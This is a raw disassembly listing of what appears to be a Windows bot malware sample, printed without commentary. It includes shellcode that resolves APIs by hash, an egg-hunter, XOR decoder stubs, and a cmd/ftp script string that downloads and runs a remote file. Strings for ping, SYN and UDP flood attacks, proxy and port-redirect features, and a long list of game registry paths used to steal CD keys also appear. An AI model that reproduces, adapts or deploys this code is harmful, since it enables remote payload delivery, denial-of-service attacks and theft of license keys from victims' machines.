; =============== S U B R O U T I N E =======================================
sub_444918 proc near ; DATA XREF: sub_425020+85o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_444A14
push dword ptr [esi]
push 63D61209h
call sub_444A2A
mov [esi+8], eax
call sub_4449DD
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_444A2A
mov [esi+0Ch], eax
call sub_44498F
push dword ptr [esi+4]
push 4C0297FAh
call sub_444A2A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_444918 endp
; =============== S U B R O U T I N E =======================================
sub_44498F proc near ; CODE XREF: sub_444918+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4449B8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_44498F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4449B8 proc near ; CODE XREF: sub_44498F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4449C7: ; CODE XREF: sub_4449B8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4449D4
inc ebx
jmp short loc_4449C7
; ---------------------------------------------------------------------------
loc_4449D4: ; CODE XREF: sub_4449B8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4449B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4449DD proc near ; CODE XREF: sub_444918+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4449F5: ; CODE XREF: sub_4449DD+1Ej
cmp [ecx], ebx
jz short loc_4449FD
mov ecx, [ecx]
jmp short loc_4449F5
; ---------------------------------------------------------------------------
loc_4449FD: ; CODE XREF: sub_4449DD+1Aj
mov edx, edi
loc_4449FF: ; CODE XREF: sub_4449DD+2Aj
cmp [edx+4], ebx
jz short loc_444A09
mov edx, [edx+4]
jmp short loc_4449FF
; ---------------------------------------------------------------------------
loc_444A09: ; CODE XREF: sub_4449DD+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4449DD endp
; =============== S U B R O U T I N E =======================================
sub_444A14 proc near ; CODE XREF: sub_444918+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_444A14 endp
; =============== S U B R O U T I N E =======================================
sub_444A2A proc near ; CODE XREF: sub_444918+16p
; sub_444918+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_444A40: ; CODE XREF: sub_444A2A+33j
jecxz short loc_444A7A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_444A4D: ; CODE XREF: sub_444A2A+2Dj
lodsb
cmp al, ah
jz short loc_444A59
ror edi, 0Dh
add edi, eax
jmp short loc_444A4D
; ---------------------------------------------------------------------------
loc_444A59: ; CODE XREF: sub_444A2A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_444A40
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_444A7A: ; CODE XREF: sub_444A2A:loc_444A40j
; sub_444A2A:loc_444A7Aj
jmp short loc_444A7A
sub_444A2A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_444A80 proc near ; DATA XREF: sub_425020+1Eo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_444AD2
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_444A9D: ; CODE XREF: sub_444A80+38j
jecxz short loc_444ACD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_444AA8: ; CODE XREF: sub_444A80+32j
lodsb
test al, al
jz short loc_444AB4
ror edx, 0Dh
add edx, eax
jmp short loc_444AA8
; ---------------------------------------------------------------------------
loc_444AB4: ; CODE XREF: sub_444A80+2Bj
cmp edx, [esp+arg_0]
jnz short loc_444A9D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_444ACD: ; CODE XREF: sub_444A80:loc_444A9Dj
mov [esp+arg_0], ebx
retn
sub_444A80 endp
; =============== S U B R O U T I N E =======================================
sub_444AD2 proc near ; CODE XREF: sub_444A80+7p
; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_444AEB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_444AF6
; ---------------------------------------------------------------------------
loc_444AEB: ; CODE XREF: sub_444AD2+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_444AF6: ; CODE XREF: sub_444AD2+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_444B0A
sub_444AD2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_444AFD proc near ; CODE XREF: sub_444AD2:loc_444B0Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_444AFD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_444AD2
loc_444B0A: ; CODE XREF: sub_444AD2+29j
call sub_444AFD
; END OF FUNCTION CHUNK FOR sub_444AD2
; ---------------------------------------------------------------------------
db 0
dd 25h dup(0)
dword_444BA4 dd 23h dword_444BA8 dd 60h dword_444BAC dd 62B0606h, 2050501h, 0A0hdword_444BB8 dd 0A1h dword_444BBC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do
align 4
loc_444BC8: ; DATA XREF: sub_424840+100o
jmp short near ptr dword_444BD0
; ---------------------------------------------------------------------------
align 10h
dword_444BD0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
; DATA XREF: sub_425020+60o
db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
db '%s',0Dh,0Ah,0
align 4
dd 7 dup(0)
; ---------------------------------------------------------------------------
loc_444C78: ; DATA XREF: sub_4254E0+CCo
jmp short loc_444C7C
; ---------------------------------------------------------------------------
loc_444C7A: ; CODE XREF: ___:loc_444C7Cp
jmp short loc_444C81
; ---------------------------------------------------------------------------
loc_444C7C: ; CODE XREF: ___:loc_444C78j
call loc_444C7A
loc_444C81: ; CODE XREF: ___:loc_444C7Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_444C86 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w
db 80h, 73h, 0Eh
byte_444C8B db 0FFh ; DATA XREF: sub_4254E0+DAw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_444C90: ; DATA XREF: sub_4254E0+A7o
jmp short loc_444C94
; ---------------------------------------------------------------------------
loc_444C92: ; CODE XREF: ___:loc_444C94p
jmp short loc_444C99
; ---------------------------------------------------------------------------
loc_444C94: ; CODE XREF: ___:loc_444C90j
call loc_444C92
loc_444C99: ; CODE XREF: ___:loc_444C92j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_444C9D db 0FFh ; DATA XREF: sub_4254E0+AEw
dw 7380h
db 0Ch
byte_444CA1 db 0FFh ; DATA XREF: sub_4254E0+B4w
dw 0E243h
dd 0F9h
dword_444CA8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_425270+43o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444D0C dd 12h dd 70746674h, 6578652Eh, 20692D20h
dword_444D1C dd 74656720h byte_444D20 db 20h ; DATA XREF: sub_425270+A2r
dword_444D21 dd 0E8006A00h dword_444D25 dd 17h ; sub_425270+D2r
dword_444D29 dd 0E8C30175h dword_444D2D dd 1 ; sub_425270+E7r
byte_444D31 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o
dd 7E8h
db 0, 0Fh, 84h
dword_444D3B dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; free
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 0Ch dup(0)
aPing db 'ping',0 ; DATA XREF: sub_426450+22o
align 4
aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
; DATA XREF: sub_4266A0+D0o
align 10h
dd 2 dup(0)
aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
align 4
dd 2 dup(0)
aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
align 8
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo
dd 0
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o
align 10h
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co
align 4
aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o
align 4
aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
align 10h
aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
align 10h
aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
align 4
dd 0
aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o
aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
align 4
dd 0
aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
align 8
aUdp db 'udp',0 ; DATA XREF: sub_427590+22o
aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o
align 10h
aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
align 10h
off_444F40 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o
aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_428040+AAo
dd 3 dup(0)
aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_428040+33o
align 4
dd 3 dup(0)
aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Connection to %s:%d has failed',0Ah,0
align 10h
dd 7 dup(0)
aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Error Resolving %s',0Ah,0
align 4
dd 6 dup(0)
aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah
; DATA XREF: sub_4282C0+D12o
db 0Dh,0Ah,0
dd 2 dup(0)
aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
; sub_4282C0+B97o
dd 0
aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
; sub_4282C0+B79o
align 4
dd 0
aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o
dd 0
aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o
align 8
aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
align 10h
aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do
dd 0
aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo
db 'Connection: close',0Dh,0Ah
db '%s',0
dd 2 dup(0)
aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o
db 'Connection: Keep-Alive',0Dh,0Ah
db '%s',0
align 8
aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo
; sub_4282C0+9F0o
align 8
aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
align 10h
asc_445230 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co
; sub_4282C0+52Co ...
align 4
aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o
dd 0
aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo
align 8
off_445258 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o
aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o
align 4
aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
dd 2 dup(0)
aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
dd 2 dup(0)
aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
align 10h
aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o
; sub_42A090+22o
align 4
aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
align 8
aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
align 10h
dd 2 dup(0)
dword_445338 dd 1000005h, 0 dword_445340 dd 5 dword_445344 dd 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0
; DATA XREF: sub_42B880+20Fo
align 4
dd 3 dup(0)
aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
; DATA XREF: sub_42B880+3Fo
align 4
dd 2 dup(0)
aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
; DATA XREF: ___:0042C435o
align 10h
aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o
align 4
dd offset aWoot ; "Woot"
aWoot db 'Woot',0 ; DATA XREF: ___:00445408o
align 4
aNetworkFailedT db 'Network failed to start: %d',0Ah,0
align 8
aCalloc db 'calloc',0
align 10h
aSetsockopt db 'setsockopt',0
align 10h
aSocket db 'socket',0
align 4
aGethostbyname db 'gethostbyname',0
align 4
aGetservbyname db 'getservbyname',0
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o
; sub_42C810:loc_42C8CDo
aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
align 4
dd 0
aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o
align 10h
aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do
dd 0
aWrite db 'write',0
align 4
aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
align 10h
dd 0
dword_4454E4 dd 524F5453h byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+EDr
align 4
dword_4454EC dd 52544552h byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+D3r
align 4
dword_4454F4 dd 5453494Ch byte_4454F8 db 0 ; DATA XREF: sub_42D2C0+B8r
align 4
dword_4454FC dd 54534C4Eh byte_445500 db 0 ; DATA XREF: sub_42D2C0+9Er
align 4
dword_445504 dd 45505954h, 632520h, 0 ; ___:0042E6CAo
aMissingPathArg db 'Missing path argument for file transfer',0Ah,0
; DATA XREF: sub_42D2C0+2Do
align 4
dd 2 dup(0)
aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0
align 10h
aListen db 'listen',0
align 4
aBind db 'bind',0
align 10h
aGetsockname db 'getsockname',0
align 10h
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
align 8
aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o
align 10h
aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
align 4
aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
align 10h
aTimedOutWaitin db 'timed out waiting for connection',0
align 8
aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0
align 10h
dd 2 dup(0)
aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
align 10h
dd 2 dup(0)
aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
align 10h
dd 2 dup(0)
aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo
dd 0
aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do
align 4
aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo
align 4
aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo
align 4
aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o
align 4
aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo
align 4
off_4456BC dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do
; "InterlockedCompareExchange"
aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o
dd 0
aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
align 4
dd 0
word_4456FC dw 77h ; DATA XREF: sub_42E400+1Fr
align 10h
dword_445700 dd 25206425h, 64hdword_445708 dd 455A4953h, 732520h, 0dword_445714 dd 4D54444Dh, 732520h, 0dword_445720 dd 4F544E52h, 732520h, 0dword_44572C dd 52464E52h, 732520h, 0dword_445738 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o
align 4
dword_44574C dd 1 ; sub_430460+1Fw ...
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
; ___:off_4456BCo
align 10h
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o
align 10h
aA db '€',0 ; DATA XREF: sub_433A20+36o
align 4
dd 13h dup(0)
dd offset aBattlefield194 ; "[Battlefield 1942: "
dd 80000002h, 4468A4h, 446F70h, 446870h, 80000002h, 446810h
dd 446F70h, 4467E0h, 80000002h, 446788h, 446F70h, 446764h
dd 80000002h, 44671Ch, 446F70h, 446704h, 80000002h, 4466C0h
dd 446F70h, 446698h, 80000002h, 44665Ch, 446F70h, 446628h
dd 80000002h, 4465C8h, 446F70h, 44659Ch, 80000002h, 446578h
dd 446570h, 446544h, 80000002h, 44651Ch, 446570h, 446504h
dd 80000001h, 4464D4h, 4464D0h, 4464C0h, 80000002h, 446484h
dd 446F70h, 446474h, 80000002h, 446438h, 446F70h, 446424h
dd 80000002h, 4463DCh, 446F70h, 4463C0h, 80000002h, 44637Ch
dd 446F70h, 446360h, 80000001h, 446338h, 4464D0h, 446328h
dd 80000001h, 446300h, 4464D0h, 4462E0h, 80000002h, 4462A4h
dd 4462A0h, 446284h, 80000002h, 446260h, 446258h, 446240h
dd 80000001h, 446214h, 44620Ch, 4461E8h, 80000002h, 44619Ch
dd 446F70h, 446174h, 80000002h, 446120h, 446F70h, 4460E8h
dd 80000002h, 446084h, 446F70h, 446050h, 80000002h, 445FF0h
dd 446F70h, 445FD4h, 80000002h, 445F8Ch, 446F70h, 445F70h
dd 80000002h, 445F28h, 446F70h, 445F18h, 80000002h, 445EDCh
dd 446F70h, 445ECCh, 80000002h, 445E90h, 446F70h, 445E68h
dd 80000002h, 445E14h, 446F70h, 445DECh, 80000002h, 445D9Ch
dd 446F70h, 445D80h, 80000002h, 445D58h, 4464D0h, 445D44h
dd 80000002h, 445D0Ch, 446F70h, 445CDCh, 80000002h, 445C84h
dd 446F70h, 445C68h, 80000001h, 445C18h, 445C10h, 445BF4h
dd 80000002h, 445BB0h, 445BA4h, 445B8Ch, 80000001h, 445B5Ch
dd 445B50h, 445B30h, 80000002h, 445AF4h, 445C10h, 445AD4h
dd 80000002h, 445A98h, 445C10h, 1Eh dup(0)
aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
align 4
dd 2 dup(0)
aUnrealTourname db '[Unreal Tournament 2004: ',0
align 10h
dd 0
aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
align 10h
aUnrealTourna_0 db '[Unreal Tournament 2003: ',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
dd 2 dup(0)
aTheGladiators db '[The Gladiators: ',0
align 10h
dd 0
aSof2key db 'sof2key',0
align 10h
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
dd 2 dup(0)
aSoldierOfFortu db '[Soldier Of Fortune 2: ',0
align 10h
aCdkey db 'CDKey',0
align 4
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
dd 3 dup(0)
aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0
align 10h
dd 0
aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 10h
dd 3 dup(0)
aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0
align 4
dd 2 dup(0)
aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
align 4
dd 2 dup(0)
dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aNeverwinterNig db '[Neverwinter Nights: ',0
align 4
dd 0
aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 10h
dd 3 dup(0)
aNeedForSpeedUn db '[Need For Speed: Underground: ',0
align 4
dd 2 dup(0)
aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
db 'gc',0
dd 4 dup(0)
aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0
align 10h
aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing20 db '[Nascar Racing 2003: ',0
align 4
dd 0
aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
dd 3 dup(0)
aNascarRacing_0 db '[Nascar Racing 2002: ',0
align 10h
aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 10h
dd 4 dup(0)
aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0
dd 2 dup(0)
aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
dd 4 dup(0)
aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0
align 10h
aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 4
dd 3 dup(0)
aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0
align 4
dd 0
aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
dd 3 dup(0)
aJamesBond007Ni db '[James Bond 007: Nightfire: ',0
align 4
dd 0
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aIndustryGiant2 db '[Industry Giant 2: ',0
align 8
aCdkey_0 db 'CDkey',0
align 10h
aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0
dd 2 dup(0)
aIgi2CovertStri db '[IGI2: Covert Strike: ',0
align 10h
aKey db 'key',0
aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aHiddenAndDange db '[Hidden and Dangerous 2: ',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 8
aHalfLife db '[Half-Life: ',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aGunmanChronicl db '[Gunman Chronicles: ',0
align 4
dd 0
aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aGlobalOperatio db '[Global Operations: ',0
align 4
dd 0
aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
dd 3 dup(0)
aFreedomForce db '[Freedom Force: ',0
align 4
aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
dd 2 dup(0)
dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aFifa2002 db '[FIFA 2002: ',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0
align 4
dd 2 dup(0)
aCounterStrike db '[Counter-Strike: ',0
align 4
dd 0
aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0
align 4
dd 2 dup(0)
aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0
align 10h
aSerial db 'Serial',0
align 4
aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0
align 4
dd 0
aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0
align 10h
dd 2 dup(0)
aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
dd 4 dup(0)
aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0
dd 2 dup(0)
aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
dd 3 dup(0)
aCommandAndCo_2 db '[Command and Conquer: Generals: ',0
align 10h
aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
dd 3 dup(0)
aBlackAndWhite db '[Black and White: ',0
align 4
dd 0
aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
dd 3 dup(0)
aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0
dd 2 dup(0)
aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 10h
aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0
align 10h
aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 10h
dd 4 dup(0)
aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0
dd 2 dup(0)
db 53h
aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
dd 3 dup(0)
aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o
align 10h
aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo
align 4
